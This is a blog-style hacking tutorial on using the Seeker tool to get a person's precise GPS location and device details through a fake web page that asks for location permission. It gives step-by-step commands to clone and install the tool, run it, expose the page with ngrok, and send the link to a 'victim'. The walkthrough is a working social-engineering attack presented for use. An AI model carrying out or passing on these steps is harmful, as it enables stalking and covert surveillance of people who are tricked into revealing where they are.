How hackers track the exact location of anyone

Track the exact location – There are more bogus location tracking apps and tools available online but if someone is using this, location and sensitive information get to hackers so don’t try unnecessary tools. In this article, I’m going to share with you one of the best social engineering methods to find someone’s location with a seeker tool.

What is the seeker Tool?

The concept behind Seeker is simple, just like we host phishing pages to get credentials why not host a fake page that requests your location like many popular location-based websites. Seeker Hosts a fake website that asks for Location Permission and if the target allows it, we can get: track the exact location

Longitude
Latitude
Accuracy
Altitude – Not always available
Direction – Only available if the user is moving
Speed – Only available if a user is moving

Along with Location Information we also get Device Information without any permissions :

Unique ID using Canvas Fingerprinting
Device Model – Not always available
Operating System
Platform
Number of CPU Cores – Approximate Results
Amount of RAM – Approximate Results
Screen Resolution
GPU information
Browser Name and Version
Public IP Address
Local IP Address
Local Port

How is this Different from IP GeoLocation

Other tools and services offer IP Geolocation which is NOT accurate at all and does not give the location of the target instead it is the approximate location of the ISP.

Seeker uses HTML API and gets Location Permission and then grabs Longitude and Latitude using GPS Hardware which is present in the device, so Seeker works best with Smartphones, if the GPS Hardware is not present, such as on a Laptop, Seeker fallbacks to IP Geolocation or it will look for Cached Coordinates. track the exact location

Generally, if a user accepts location permission, the Accuracy of the information received is accurate to approximately 30 meters track the exact location

Accuracy depends on multiple factors which you may or may not control such as :

Device – Won’t work on laptops or phones which have broken GPS

1. Browser – Some browsers block javascript
2. GPS Calibration – If GPS is not calibrated you may get inaccurate results and this is very common

How Hackers Track the exact location of anyone

Step 1:

First of all, we need to download the seeker tool so you just type the below command on your termux or Linux terminal

				
					git clone https://github.com/thewhiteh4t/seeker.git

Step 2:

Now change the directory to seeker tool so execute the below commands

				
					cd seeker

Step 3:

Now we need to install the seeker tool and required packages so run the below commands one by one

Termux

				
					pkg update
pkg install python php
pip3 install requests
bash termux_install.sh

Linux

				
					sudo apt update
sudo apt install python3 python3-pip php
pip3 install requests
sudo bash install.sh

Step 4:

After that we need to run the seeker python file so run the following command in your terminal

				
					python3 seeker.py -t manual

Step 5:

Then select the template which you want, in my case I chose the near you (0) option

Step 6:

Then login ngrok site and download the ngrok tool after that start the ngrok with the below commands

				
					./ngrok http 8080

Step 7:

Now share the ngrok link to your victim, if your victim click your link means the web page will be this below image

Step 8:

Then the victim click the “Continue” button the location access pop up will be shown, the victim should be allowed the pop up otherwise we will not get the victim location
